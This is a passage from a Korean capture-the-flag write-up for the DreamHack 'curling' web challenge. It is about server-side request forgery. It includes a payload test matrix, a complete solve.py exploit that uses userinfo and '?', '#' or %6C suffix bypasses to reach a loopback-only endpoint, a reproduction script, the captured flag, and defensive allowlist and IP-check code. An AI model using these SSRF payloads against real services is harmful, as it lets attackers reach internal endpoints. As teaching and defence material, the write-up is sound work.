๋งˆ์ง€๋ง‰ ๊ด€๋ฌธ์€ ์ž๋™์œผ๋กœ ํ’€๋ฆฐ๋‹ค. curl ์ด 127.0.0.1:8000 ์œผ๋กœ TCP ์—ฐ๊ฒฐ์„ ๋งบ์œผ๋‹ˆ, Flask ๊ฐ€ ๋ณด๋Š” request.remote_addr ๋Š” 127.0.0.1 ์ด๋‹ค. /api/v1/test/internal ์€ ๊ทธ๊ฑธ ๋กœ์ปฌ ์ ‘๊ทผ์œผ๋กœ ์ธ์ •ํ•˜๊ณ  ํ”Œ๋ž˜๊ทธ๋ฅผ ์ค€๋‹ค.

์„œ๋ฒ„ ๋กœ๊ทธ๋กœ ํ™•์ธ โ€” ์š”์ฒญ์ด ์ •๋ง ๋‘˜๋กœ ๊ฐˆ๋ผ์ง„๋‹ค

remote_addr ์ด์•ผ๊ธฐ๋Š” ์ถ”๋ก ์œผ๋กœ ๋๋‚ด๋ฉด ์ฐ์ฐํ•˜๋‹ค. ๋กœ์ปฌ ์ปจํ…Œ์ด๋„ˆ์˜ ๊ฐœ๋ฐœ ์„œ๋ฒ„ ๋กœ๊ทธ๋ฅผ ๊ทธ๋Œ€๋กœ ๋ดค๋‹ค.

docker logs curling-local 2>&1 | grep -E 'GET|POST'

๋กœ์ปฌ ์ปจํ…Œ์ด๋„ˆ์˜ Flask ๊ฐœ๋ฐœ ์„œ๋ฒ„ ๋กœ๊ทธ. ์•ˆ์ชฝ GET /api/v1/test/internal ์€ 127.0.0.1 ์—์„œ, ๋ฐ”๊นฅ POST /api/v1/test/curl ์€ 172.17.0.1 ์—์„œ ์˜จ ๊ฒƒ์œผ๋กœ ๊ฐ๊ฐ ๊ธฐ๋ก๋ผ ์žˆ๋‹ค.
๋กœ์ปฌ ์ปจํ…Œ์ด๋„ˆ์˜ Flask ๊ฐœ๋ฐœ ์„œ๋ฒ„ ๋กœ๊ทธ. ์•ˆ์ชฝ GET /api/v1/test/internal ์€ 127.0.0.1 ์—์„œ, ๋ฐ”๊นฅ POST /api/v1/test/curl ์€ 172.17.0.1 ์—์„œ ์˜จ ๊ฒƒ์œผ๋กœ ๊ฐ๊ฐ ๊ธฐ๋ก๋ผ ์žˆ๋‹ค.

๋‘ ์ค„์ด ์ฐํžŒ๋‹ค.

127.0.0.1  - - "GET /api/v1/test/internal HTTP/1.1" 200 -
172.17.0.1 - - "POST /api/v1/test/curl HTTP/1.1" 200 -

์•„๋ž˜๊ฐ€ ๋‚ด๊ฐ€ ๋ณด๋‚ธ ์š”์ฒญ์ด๋‹ค. ๋„์ปค ๋ธŒ๋ฆฌ์ง€ ๊ฒŒ์ดํŠธ์›จ์ด์ธ 172.17.0.1 ๋กœ ์žกํ˜”๋‹ค. ๊ทธ IP ๋กœ๋Š” /api/v1/test/internal ์„ ์—ด ์ˆ˜ ์—†๋‹ค.

์œ„๊ฐ€ curl ์ด ๋งŒ๋“ค์–ด ๋‚ธ ์š”์ฒญ์ด๊ณ , ์†Œ์Šค๊ฐ€ 127.0.0.1 ์ด๋‹ค. ๊ฐ™์€ ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ž๊ธฐ ํฌํŠธ๋กœ ์ ‘์†ํ–ˆ์œผ๋‹ˆ ์ปค๋„์ด ๋ฃจํ”„๋ฐฑ์œผ๋กœ ๋ถ™์—ฌ ์ค€ ๊ฒƒ์ด๋‹ค.

์ˆœ์„œ๊ฐ€ ๋’ค์ง‘ํ˜€ ๋ณด์ด๋Š” ๊ฒƒ๋„ ์ด์œ ๊ฐ€ ์žˆ๋‹ค. curl ์ด ๋๋‚˜์•ผ ๋ฐ”๊นฅ ์š”์ฒญ์ด ์‘๋‹ต์„ ๋ฐ˜ํ™˜ํ•˜๋ฏ€๋กœ, ์•ˆ์ชฝ ์š”์ฒญ์ด ๋จผ์ € ์™„๋ฃŒ๋˜๊ณ  ๋จผ์ € ๋กœ๊ทธ์— ๋‚จ๋Š”๋‹ค.


๐ŸŽฏ ์šฐํšŒ ํ™•์ธ โ€” ๋กœ์ปฌ์—์„œ ๋จผ์ € ์ „๋ถ€ ๋Œ๋ ค ๋ดค๋‹ค

๋ผ์ด๋ธŒ์— ๋ถ™๊ธฐ ์ „์— ํ›„๋ณด๋ฅผ ํ•œ ๋ฒˆ์— ๋˜์ ธ ์–ด๋А ๊ด€๋ฌธ์—์„œ ๋ง‰ํžˆ๋Š”์ง€ ํ‘œ๋กœ ๋ดค๋‹ค.

# tools_matrix.py
CASES = [
    ("ํ‰๋ฒ”ํ•˜๊ฒŒ ๋‚ด๋ถ€๋กœ",            "http://127.0.0.1:8000/api/v1/test/internal"),
    ("localhost ๋กœ",               "http://localhost:8000/api/v1/test/internal"),
    ("ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ 2๋ฒˆ์งธ ํ˜ธ์ŠคํŠธ",  "http://tools.dreamhack.io/"),
    ("userinfo ์šฐํšŒ๋งŒ",            "http://dreamhack.io@127.0.0.1:8000/api/v1/test/internal"),
    ("userinfo + ๋นˆ ์ฟผ๋ฆฌ ?",       "http://dreamhack.io@127.0.0.1:8000/api/v1/test/internal?"),
    ("userinfo + ๋นˆ ํ”„๋ž˜๊ทธ๋จผํŠธ #", "http://dreamhack.io@127.0.0.1:8000/api/v1/test/internal#"),
    ("userinfo + %6C ์ธ์ฝ”๋”ฉ",      "http://dreamhack.io@127.0.0.1:8000/api/v1/test/interna%6C"),
]
 
for label, url in CASES:
    try:
        msg = requests.post(BASE, data={"url": url}, timeout=10).json().get("msg", "")
    except Exception as e:                                  # noqa: BLE001
        msg = f"<{e.__class__.__name__}>"
    msg = " ".join(str(msg).split())
    verdict = "FLAG" if "DH{" in msg else "์ฐจ๋‹จ"
    print(f"  {verdict:4}  {pad(label, 30)}  {msg[:52]}")

tools_matrix.py ๋ฅผ ๋กœ์ปฌ ์ปจํ…Œ์ด๋„ˆ์— ๋Œ๋ฆฐ ๊ฒฐ๊ณผ. ์•ž์˜ ๋„ค ์ค„์€ Not Allowed host ๋˜๋Š” Not Allowed endpoint ๋กœ ๋ง‰ํžˆ๊ณ , ์šฐํšŒ 3์ข…์€ ๋ชจ๋‘ ๋กœ์ปฌ flag ๋ฅผ ๋ฐ˜ํ™˜ํ•œ๋‹ค.
tools_matrix.py ๋ฅผ ๋กœ์ปฌ ์ปจํ…Œ์ด๋„ˆ์— ๋Œ๋ฆฐ ๊ฒฐ๊ณผ. ์•ž์˜ ๋„ค ์ค„์€ Not Allowed host ๋˜๋Š” Not Allowed endpoint ๋กœ ๋ง‰ํžˆ๊ณ , ์šฐํšŒ 3์ข…์€ ๋ชจ๋‘ ๋กœ์ปฌ flag ๋ฅผ ๋ฐ˜ํ™˜ํ•œ๋‹ค.

์œ„ ๋„ค ์ค„์ด ๋ง‰ํžˆ๊ณ  ์•„๋ž˜ ์„ธ ์ค„์ด ๋šซ๋ฆฐ๋‹ค. ๋ง‰ํžŒ ์ด์œ ๋„ ๋‘ ์ข…๋ฅ˜๋กœ ๊ฐˆ๋ฆฐ๋‹ค โ€” ์•ž ์…‹์€ ๊ด€๋ฌธ โ‘ , ๋„ค ๋ฒˆ์งธ๋Š” ๊ด€๋ฌธ โ‘ก ๋‹ค.

ํ•œ ๊ด€๋ฌธ์”ฉ ํ™•์‹คํžˆ ๋„˜๊ฒผ๋Š”์ง€ ํ™•์ธํ•˜๊ณ  ๋„˜์–ด๊ฐˆ ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒŒ ์ด ํ‘œ์˜ ์“ธ๋ชจ๋‹ค. ์—ฌ๊ธฐ๊นŒ์ง€ ๋˜๋ฉด ๋ผ์ด๋ธŒ์—์„œ ํ•  ์ผ์€ payload ํ•˜๋‚˜ ๋ณด๋‚ด๋Š” ๊ฒƒ๋ฟ์ด๋‹ค.

ํผ์œผ๋กœ๋„ ๊ฐ™์€ ๊ฑธ ํ™•์ธํ–ˆ๋‹ค.

์šฐํšŒ payload ๋ฅผ ํผ์œผ๋กœ ์ „์†กํ•œ ๊ฒฐ๊ณผ. msg ์•ˆ์— ์ค‘์ฒฉ๋œ JSON ์œผ๋กœ ์ง„์งœ ํ”Œ๋ž˜๊ทธ ๋ฌธ์ž์—ด์ด ๊ทธ๋Œ€๋กœ ๋“ค์–ด ์žˆ๋‹ค.
์šฐํšŒ payload ๋ฅผ ํผ์œผ๋กœ ์ „์†กํ•œ ๊ฒฐ๊ณผ. msg ์•ˆ์— ์ค‘์ฒฉ๋œ JSON ์œผ๋กœ ์ง„์งœ ํ”Œ๋ž˜๊ทธ ๋ฌธ์ž์—ด์ด ๊ทธ๋Œ€๋กœ ๋“ค์–ด ์žˆ๋‹ค.

์‘๋‹ต์ด ๋‘ ๊ฒน์œผ๋กœ ๊ฐ์‹ธ์—ฌ ์žˆ๋‹ค. ๋ฐ”๊นฅ์€ /api/v1/test/curl ์ด ๋Œ๋ ค์ค€ ๊ฒƒ์ด๊ณ , ์•ˆ์ชฝ ์ด์Šค์ผ€์ดํ”„๋œ JSON ์ด curl ์ด ๋ฐ›์•„ ์˜จ ๋‚ด๋ถ€ ์‘๋‹ต์ด๋‹ค. curl ์˜ stdout ์ด ๊ทธ๋Œ€๋กœ msg ์— ์‹ค๋ ค ๋‚˜์˜ค๋‹ˆ, ์„œ๋ฒ„๊ฐ€ ์ž๊ธฐ ์ž์‹ ์—๊ฒŒ ๋ฌผ์–ด๋ณธ ๊ฒฐ๊ณผ๋ฅผ ์šฐ๋ฆฌ๊ฐ€ ์ฝ๋Š” ๊ตฌ์กฐ๋‹ค.



๐Ÿš€ Full Exploit

์‹ค์ œ๋กœ ํ”Œ๋ž˜๊ทธ๋ฅผ ๋ฝ‘์€ ์Šคํฌ๋ฆฝํŠธ ์ „๋ฌธ์ด๋‹ค. ์šฐํšŒ ๋ฐฉ์‹ ์„ธ ๊ฐ€์ง€๋ฅผ --variant ๋กœ ๊ณจ๋ผ ์“ธ ์ˆ˜ ์žˆ๊ฒŒ ํ•ด ๋’€๋‹ค.

#!/usr/bin/env python3
"""curling (DreamHack Silver 2, web) โ€” SSRF exploit.
 
์ทจ์•ฝ์  ์„ธ ๊ฒน์„ ํ•œ ์ค„์งœ๋ฆฌ URL ํ•˜๋‚˜๋กœ ํ†ต๊ณผํ•œ๋‹ค.
 
  1) ALLOWED_HOSTS ๋ฃจํ”„์˜ return ์œ„์น˜๊ฐ€ ์ž˜๋ชป๋ผ ์‹ค์งˆ ๊ฒ€์‚ฌ๊ฐ€
     url.startswith('http://dreamhack.io') ์ ‘๋‘์‚ฌ ๋งค์นญ ํ•˜๋‚˜๋ฟ์ด๋‹ค.
  2) ์ ‘๋‘์‚ฌ ๋งค์นญ์ด๋ผ URL userinfo ๋ฅผ ์“ฐ๋ฉด ๊ฒ€์‚ฌ๋ฅผ ํ†ต๊ณผํ•˜๋ฉด์„œ ์‹ค์ œ ๋ชฉ์ ์ง€๋Š”
     ๋‚ด ๋งˆ์Œ๋Œ€๋กœ ์žก์„ ์ˆ˜ ์žˆ๋‹ค โ€” http://dreamhack.io@127.0.0.1:8000/...
     ('dreamhack.io' ๋Š” curl ์—๊ฒŒ user ์ด๋ฆ„์ผ ๋ฟ, ํ˜ธ์ŠคํŠธ๋Š” 127.0.0.1)
  3) ๋งˆ์ง€๋ง‰ ๊ด€๋ฌธ url.endswith('/test/internal') ์€ ๋’ค์— ํ•œ ๊ธ€์ž๋งŒ ๋ถ™์ด๋ฉด ๊นจ์ง„๋‹ค.
     ๋นˆ ์ฟผ๋ฆฌ์ŠคํŠธ๋ง '?' ยท ๋นˆ ํ”„๋ž˜๊ทธ๋จผํŠธ '#' ยท ๊ฒฝ๋กœ %6C ์ธ์ฝ”๋”ฉ ์…‹ ๋‹ค ํ†ตํ•œ๋‹ค.
 
์‚ฌ์šฉ๋ฒ• (๊ธฐ๋ณธ๊ฐ’์ด ์‹คํŒจ๊ฐ’์ด๋‹ค โ€” ๋Œ€์ƒ URL ์„ ๋ฐ˜๋“œ์‹œ ์ธ์ž๋กœ ์ค€๋‹ค):
 
    python3 solve.py http://host1.dreamhack.games:12345
    python3 solve.py http://127.0.0.1:18000 --variant frag
"""
import argparse
import re
import sys
 
import requests
 
# ๋ฌธ์ œ ์„œ๋ฒ„ ์ปจํ…Œ์ด๋„ˆ ์•ˆ์—์„œ Flask ๊ฐ€ ๋“ฃ๊ณ  ์žˆ๋Š” ์ฃผ์†Œ. app.run(host='0.0.0.0', port='8000')
INTERNAL = "127.0.0.1:8000"
PATH = "/api/v1/test/internal"
 
VARIANTS = {
    # ๋นˆ ์ฟผ๋ฆฌ์ŠคํŠธ๋ง: endswith('/test/internal') ๋Š” ๊นจ์ง€๊ณ  werkzeug ๋ผ์šฐํŒ…์€ ๊ทธ๋Œ€๋กœ ๋งค์นญ
    "query": f"http://dreamhack.io@{INTERNAL}{PATH}?",
    # ๋นˆ ํ”„๋ž˜๊ทธ๋จผํŠธ: curl ์ด '#' ๋’ค๋ฅผ ์ž˜๋ผ๋‚ด๊ณ  ๋ณด๋‚ด๋ฏ€๋กœ ์„œ๋ฒ„๊ฐ€ ๋ฐ›๋Š” ๊ฒฝ๋กœ๋Š” ์›๋ณธ ๊ทธ๋Œ€๋กœ
    "frag": f"http://dreamhack.io@{INTERNAL}{PATH}#",
    # ๊ฒฝ๋กœ ํผ์„ผํŠธ ์ธ์ฝ”๋”ฉ: curl ์€ ๊ฒฝ๋กœ๋ฅผ ๊ทธ๋Œ€๋กœ ์ „๋‹ฌ, werkzeug ๊ฐ€ %6C -> 'l' ๋กœ ๋””์ฝ”๋”ฉ
    "enc": f"http://dreamhack.io@{INTERNAL}{PATH[:-1]}%6C",
}
 
 
def exploit(base: str, variant: str, timeout: int = 10) -> str:
    url = VARIANTS[variant]
    print(f"[*] target   : {base}")
    print(f"[*] variant  : {variant}")
    print(f"[*] SSRF url : {url}")
 
    r = requests.post(
        base.rstrip("/") + "/api/v1/test/curl",
        data={"url": url},
        timeout=timeout,
    )
    print(f"[*] status   : {r.status_code}")
    body = r.text
    print(f"[*] response : {body.strip()[:300]}")
 
    m = re.search(r"DH\{[^}]+\}", body)
    if not m:
        print("[!] flag ์—†์Œ โ€” ์‘๋‹ต์„ ํ™•์ธํ•  ๊ฒƒ", file=sys.stderr)
        sys.exit(1)
    return m.group(0)
 
 
def main() -> None:
    ap = argparse.ArgumentParser()
    ap.add_argument("base", help="์˜ˆ: http://host1.dreamhack.games:12345")
    ap.add_argument("--variant", choices=sorted(VARIANTS), default="query")
    args = ap.parse_args()
 
    flag = exploit(args.base, args.variant)
    print()
    print(f"[+] FLAG: {flag}")
 
 
if __name__ == "__main__":
    main()

๋ผ์ด๋ธŒ ์ธ์Šคํ„ด์Šค ์ฃผ์†Œ๋ฅผ ์ธ์ž๋กœ ์ฃผ๋ฉด ๋๋‚œ๋‹ค.

solve.py ๋ฅผ ๋ผ์ด๋ธŒ ์ธ์Šคํ„ด์Šค์— ์‹คํ–‰ํ•œ ๊ฒฐ๊ณผ. SSRF url ๊ณผ ์‘๋‹ต, ๊ทธ๋ฆฌ๊ณ  ์ถ”์ถœ๋œ ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋งˆ์ง€๋ง‰ ์ค„์— ์ฐํ˜”๋‹ค.
solve.py ๋ฅผ ๋ผ์ด๋ธŒ ์ธ์Šคํ„ด์Šค์— ์‹คํ–‰ํ•œ ๊ฒฐ๊ณผ. SSRF url ๊ณผ ์‘๋‹ต, ๊ทธ๋ฆฌ๊ณ  ์ถ”์ถœ๋œ ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋งˆ์ง€๋ง‰ ์ค„์— ์ฐํ˜”๋‹ค.

DH{S5Rf_1s_funNy:IGk+ne69OJvKOBX8HCnl2g==}

์ธ์ž๋ฅผ ์•ˆ ์ฃผ๋ฉด argparse ๊ฐ€ ๋ฐ”๋กœ ์—๋Ÿฌ๋ฅผ ๋‚ธ๋‹ค. ๊ธฐ๋ณธ ๋Œ€์ƒ ๊ฐ™์€ ๊ฑด ๋‘์ง€ ์•Š์•˜๋‹ค โ€” ๋กœ์ปฌ ํฌํŠธ๋ฅผ ๊ธฐ๋ณธ๊ฐ’์œผ๋กœ ๋ฐ•์•„ ๋‘๋ฉด ๋ผ์ด๋ธŒ์—์„œ ์กฐ์šฉํžˆ ์—‰๋šฑํ•œ ๋ฐ ์˜๊ฒŒ ๋œ๋‹ค.

์žฌํ˜„์šฉ์œผ๋กœ๋Š” ์ด๊ฑธ ํ•œ ๋ฒˆ์— ๋Œ๋ฆฌ๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋”ฐ๋กœ ๋’€๋‹ค.

#!/usr/bin/env bash
# reproduce.sh โ€” ์ธ์ž ์—†์œผ๋ฉด ๋กœ์ปฌ docker ๋กœ ์ฒด์ธ ๊ฒ€์ฆ, ์ธ์ž๋ฅผ ์ฃผ๋ฉด ๋ผ์ด๋ธŒ์—์„œ ์ง„์งœ flag
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
FLAG_LIVE='DH{S5Rf_1s_funNy:IGk+ne69OJvKOBX8HCnl2g==}'
if [ -f ๋ฌธ์ œ.json ]; then
  FLAG_LIVE=$(python3 -c "import json;print(json.load(open('๋ฌธ์ œ.json')).get('flag',''))" 2>/dev/null || echo "$FLAG_LIVE")
fi
 
if [ $# -ge 1 ]; then
  TARGET="$1"; MODE="live"; EXPECT="$FLAG_LIVE"
else
  echo "[*] ๋กœ์ปฌ docker ๊ธฐ๋™ (Dockerfile.local โ€” buster EOL ์ด๋ผ archive.debian.org ์‚ฌ์šฉ)"
  ./run_local.sh
  TARGET="http://127.0.0.1:18000"; MODE="local"
  EXPECT=$(cat extracted/flag)
fi
 
echo
echo "[*] mode=$MODE  target=$TARGET"
OUT=$(timeout 120 python3 solve.py "$TARGET" 2>&1) || true
echo "$OUT" | tail -8
 
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
if [ -n "$FLAG" ] && [ "$FLAG" = "$EXPECT" ]; then
  echo
  if [ "$MODE" = local ]; then
    echo "โœ… PASS  $FLAG   (๋™๋ด‰๋œ ๋กœ์ปฌ flag โ€” ์ต์Šค ์ฒด์ธ ์ •์ƒ. ์ง„์งœ flag ๋Š” ๋ผ์ด๋ธŒ ์„œ๋ฒ„์—์„œ๋งŒ ๋‚˜์˜จ๋‹ค)"
  else
    echo "โœ… PASS  $FLAG"
  fi
  exit 0
fi
 
echo
echo "โŒ FAIL (์–ป์€ ๊ฐ’: '${FLAG:-์—†์Œ}' / ๊ธฐ๋Œ€: '$EXPECT')"
exit 1

๋กœ์ปฌ ๋ชจ๋“œ์˜ PASS ๋Š” DH{fake_flag} ๋ฅผ ๋งžํžŒ ๊ฒƒ์ด๋‹ค. ์ง„์งœ ํ”Œ๋ž˜๊ทธ์™€ ๋Œ€์กฐํ•˜๋ ค๋ฉด ๋ผ์ด๋ธŒ ์ฃผ์†Œ๋ฅผ ์ธ์ž๋กœ ๋„˜๊ฒจ์•ผ ํ•œ๋‹ค. ๊ทธ ๊ตฌ๋ถ„์„ ์ถœ๋ ฅ์— ์ ์–ด ๋’€๋‹ค.

์ฒ˜์Œ๋ถ€ํ„ฐ ์žฌํ˜„ํ•˜๋Š” ์ˆœ์„œ

๋ฐฐํฌ๋ณธ๋งŒ ์žˆ์œผ๋ฉด ์•„๋ž˜ ๋„ท์œผ๋กœ ๋๋‚œ๋‹ค. ํŒŒ์ผ์€ ์ „๋ถ€ ๋ฌธ์ œ ํด๋” ํ•œ ๊ณณ์— ๋‘”๋‹ค.

๋‹จ๊ณ„๋ช…๋ น๋น„๊ณ 
1docker build -f Dockerfile.local -t curling-local .๋ฐฐํฌ Dockerfile ์€ buster EOL ๋•Œ๋ฌธ์— ์‹คํŒจํ•œ๋‹ค
2./run_local.sh์ปจํ…Œ์ด๋„ˆ 8000 โ†’ ํ˜ธ์ŠคํŠธ 18000
3python3 tools_matrix.py http://127.0.0.1:18000์–ด๋А ๊ด€๋ฌธ์—์„œ ๋ง‰ํžˆ๋Š”์ง€ ํ‘œ๋กœ ํ™•์ธ
4python3 solve.py <๋ผ์ด๋ธŒ ์ฃผ์†Œ>์ง„์งœ ํ”Œ๋ž˜๊ทธ. ์ธ์ž ์ƒ๋žต ์‹œ ์—๋Ÿฌ

solve.py ์— ๊ธฐ๋ณธ ๋Œ€์ƒ์ด ์—†๋Š” ๊ฒŒ ์˜๋„๋ผ๋Š” ์ ๋งŒ ๋‹ค์‹œ ์ ์–ด ๋‘”๋‹ค. ๋กœ์ปฌ ํฌํŠธ๋ฅผ ๊ธฐ๋ณธ๊ฐ’์œผ๋กœ ๋ฐ•์•„ ๋‘๋ฉด ๋ผ์ด๋ธŒ์—์„œ ์ธ์ž๋ฅผ ๊นœ๋นกํ–ˆ์„ ๋•Œ "์™œ ๋กœ์ปฌ flag ๊ฐ€ ๋‚˜์˜ค์ง€" ํ•˜๊ณ  ํ•œ์ฐธ ํ—ค๋งค๊ฒŒ ๋œ๋‹ค.



๐Ÿ“ ๊ฒฐ๋ก 

ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ๋Š” ํŒŒ์‹ฑํ•œ ๋’ค์— ๋น„๊ตํ•œ๋‹ค.

์ด ๋ฌธ์ œ์˜ ์ฒซ ๊ตฌ๋ฉ์€ startswith ๋‹ค. ํ˜ธ์ŠคํŠธ๋ฅผ ๊ฒ€์‚ฌํ•˜๊ณ  ์‹ถ์—ˆ์œผ๋ฉด URL ์„ ํŒŒ์‹ฑํ•ด์„œ host ํ•„๋“œ๋งŒ ๊บผ๋‚ด ๋น„๊ตํ–ˆ์–ด์•ผ ํ•œ๋‹ค.

from urllib.parse import urlparse
 
parsed = urlparse(url)
if parsed.scheme not in ('http', 'https') or parsed.hostname not in ALLOWED_HOSTS:
    return {'result': False, 'msg': 'Not Allowed host'}

urlparse ์˜ hostname ์€ userinfo ๋ฅผ ๋–ผ๊ณ  ์ˆœ์ˆ˜ ํ˜ธ์ŠคํŠธ๋งŒ ๋Œ๋ ค์ค€๋‹ค. ๊ฐ™์€ payload ๋ฅผ ๋„ฃ์–ด๋„ 127.0.0.1 ์ด ๋‚˜์˜ค๋‹ˆ ๋ชฉ๋ก์— ์—†์–ด์„œ ๊ฑธ๋ฆฐ๋‹ค.

์ ‘๋‘์‚ฌยท๋ถ€๋ถ„ ๋ฌธ์ž์—ด ๋น„๊ต๋กœ ๋„๋ฉ”์ธ์„ ๊ฒ€์‚ฌํ•˜๋Š” ์ฝ”๋“œ๋Š” ๋Œ€๋ถ€๋ถ„ ๊ฐ™์€ ๋ฌธ์ œ๋ฅผ ๊ฐ–๋Š”๋‹ค. @ ๋ง๊ณ ๋„ dreamhack.io.attacker.test ์ฒ˜๋Ÿผ ๋’ค์— ๋ถ™์ด๋Š” ์ˆ˜๋ฒ•์ด ๋Š˜ ๋”ฐ๋ผ์˜จ๋‹ค.

์ฐจ๋‹จ ๋ชฉ๋ก๋ณด๋‹ค ๋ชฉ์ ์ง€๋ฅผ ๋ง‰๋Š” ๊ฒŒ ๋‚ซ๋‹ค.

endswith('/test/internal') ๋Š” ํŠน์ • ๊ฒฝ๋กœ ํ•˜๋‚˜๋งŒ ๊ฐ€๋ฆฐ ๊ฒƒ์ด๋‹ค. ๊ฒฝ๋กœ ํ‘œ๊ธฐ ๋ฐฉ๋ฒ•์ด ๋ช‡ ๊ฐ€์ง€์ธ์ง€ ๋‹ค ์„ธ์–ด ๋ณธ ๋’ค์—์•ผ ์•ˆ์ „ํ•œ๋ฐ, ์ด๋ฒˆ์— ๋‚˜์˜จ ๊ฒƒ๋งŒ ๋„ท์ด๋‹ค.

SSRF ๋ฐฉ์–ด์˜ ์ถ•์€ "๋ฌด์—‡์„ ๋ถ€๋ฅด์ง€ ๋ชปํ•˜๊ฒŒ ํ• ๊นŒ"๊ฐ€ ์•„๋‹ˆ๋ผ "์–ด๋””๋กœ ๋‚˜๊ฐˆ ์ˆ˜ ์žˆ๋‚˜"๋‹ค. DNS ๋กœ ํ’€๋ฆฐ ์ฃผ์†Œ๊ฐ€ ์‚ฌ์„ค ๋Œ€์—ญยท๋ฃจํ”„๋ฐฑ์ธ์ง€ ํ™•์ธํ•˜๊ณ , ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ๋ฅผ ๋”ฐ๋ผ๊ฐˆ ๋•Œ๋งˆ๋‹ค ๋‹ค์‹œ ํ™•์ธํ•˜๋Š” ์ชฝ์ด ๋งž๋‹ค.

๋‘ ๊ฐ€์ง€๋ฅผ ํ•ฉ์น˜๋ฉด ๊ฒ€์‚ฌ๋ถ€๋Š” ๋Œ€๋žต ์ด๋Ÿฐ ๋ชจ์–‘์ด ๋œ๋‹ค.

import ipaddress
import socket
from urllib.parse import urlparse
 
ALLOWED_HOSTS = {'dreamhack.io', 'tools.dreamhack.io'}
 
 
def safe_target(raw: str) -> str:
    parsed = urlparse(raw)
 
    # 1) ์Šคํ‚ดยทํ˜ธ์ŠคํŠธ๋ฅผ ํŒŒ์‹ฑํ•ด์„œ ๋ณธ๋‹ค. ์ ‘๋‘์‚ฌ ๋น„๊ต๊ฐ€ ์•„๋‹ˆ๋ผ ์ •ํ™•ํžˆ ์ผ์น˜.
    if parsed.scheme not in ('http', 'https'):
        raise ValueError('scheme')
    if parsed.hostname not in ALLOWED_HOSTS:      # userinfo ๋Š” hostname ์— ์•ˆ ๋“ค์–ด์˜จ๋‹ค
        raise ValueError('host')
 
    # 2) ์‹ค์ œ๋กœ ์—ฐ๊ฒฐ๋  ์ฃผ์†Œ๊ฐ€ ๋‚ด๋ถ€์ธ์ง€ ํ™•์ธํ•œ๋‹ค. DNS ๋ฆฌ๋ฐ”์ธ๋”ฉ๊นŒ์ง€ ๋ง‰์œผ๋ ค๋ฉด
    #    ์—ฌ๊ธฐ์„œ ์–ป์€ IP ๋กœ ์ง์ ‘ ์ ‘์†ํ•˜๊ณ  Host ํ—ค๋”๋งŒ ์›๋ž˜ ํ˜ธ์ŠคํŠธ๋กœ ๋ณด๋‚ธ๋‹ค.
    for family, _, _, _, sockaddr in socket.getaddrinfo(parsed.hostname, None):
        ip = ipaddress.ip_address(sockaddr[0])
        if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
            raise ValueError('internal address')
 
    return raw

urlparse ์˜ hostname ์€ userinfo ๋ฅผ ๋–ผ๊ณ  ์ˆœ์ˆ˜ ํ˜ธ์ŠคํŠธ๋งŒ ๋Œ๋ ค์ฃผ๋ฏ€๋กœ http://dreamhack.io@127.0.0.1:8000/... ์„ ๋„ฃ์œผ๋ฉด 127.0.0.1 ์ด ๋‚˜์˜จ๋‹ค. ๋ชฉ๋ก์— ์—†์œผ๋‹ˆ ๊ฑฐ๊ธฐ์„œ ๋๋‚œ๋‹ค.

๋‘ ๋ฒˆ์งธ ๊ฒ€์‚ฌ๊ฐ€ ํ•„์š”ํ•œ ์ด์œ ๋Š” ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ๊ฐ€ ์žˆ์–ด๋„ ๊ทธ ๋„๋ฉ”์ธ์ด ๋‚ด๋ถ€ IP ๋ฅผ ๊ฐ€๋ฆฌํ‚ฌ ์ˆ˜ ์žˆ์–ด์„œ๋‹ค. ๊ณต๊ฒฉ์ž๊ฐ€ ์ž๊ธฐ ๋„๋ฉ”์ธ์˜ A ๋ ˆ์ฝ”๋“œ๋ฅผ 127.0.0.1 ๋กœ ๋ฐ•์•„ ๋‘๋Š” ๊ฑด ์•„๋ฌด ์ œ์•ฝ์ด ์—†๋‹ค. ์ด ๋ฌธ์ œ์—์„œ๋Š” ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ๊ฐ€ ๋“œ๋ฆผํ•ต ๋„๋ฉ”์ธ์ด๋ผ ํ•ด๋‹น์ด ์—†์ง€๋งŒ, ์‹ค์ œ ์„œ๋น„์Šค์—์„œ๋Š” ์ด์ชฝ์ด ๋” ์ž์ฃผ ํ„ฐ์ง„๋‹ค.

endswith ๋กœ ํŠน์ • ๊ฒฝ๋กœ๋ฅผ ๊ฐ€๋ฆฌ๋Š” ์ฝ”๋“œ๋Š” ์•„์˜ˆ ์ง€์šฐ๋Š” ๊ฒŒ ๋‚ซ๋‹ค. ๊ฒฝ๋กœ๋ฅผ ๊ฐ€๋ ค์•ผ ํ•  ๋งŒํผ ๋ฏผ๊ฐํ•œ ์ž์›์ด๋ฉด ๊ทธ๊ฑด ์š”์ฒญ์„ ๋Œ€์‹  ๋ณด๋‚ด ์ฃผ๋Š” ๊ธฐ๋Šฅ์ด ๋‹ฟ์„ ์ˆ˜ ์žˆ๋Š” ๊ณณ์— ๋‘๋ฉด ์•ˆ ๋œ๋‹ค.

์†Œ์Šค IP ๋Š” ์ธ์ฆ์ด ์•„๋‹ˆ๋‹ค.

request.remote_addr == '127.0.0.1' ํ•˜๋‚˜๋กœ ํ”Œ๋ž˜๊ทธ๋ฅผ ์—ด์–ด ์ค€ ๊ฒŒ ๋งˆ์ง€๋ง‰ ๊ณ ๋ฆฌ์˜€๋‹ค. ๊ฐ™์€ ํ˜ธ์ŠคํŠธ ์•ˆ์— ์•„์›ƒ๋ฐ”์šด๋“œ ์š”์ฒญ์„ ๋Œ€์‹  ๋ณด๋‚ด ์ฃผ๋Š” ๊ธฐ๋Šฅ์ด ์žˆ์œผ๋ฉด ์ด ์กฐ๊ฑด์€ ์–ธ์ œ๋“  ์œ„์กฐ๋œ๋‹ค. ๋ฆฌ๋ฒ„์Šค ํ”„๋ก์‹œ๊ฐ€ ์•ž์— ์žˆ์œผ๋ฉด ํ—ค๋” ํ•˜๋‚˜๋กœ๋„ ํ”๋“ค๋ฆฐ๋‹ค.

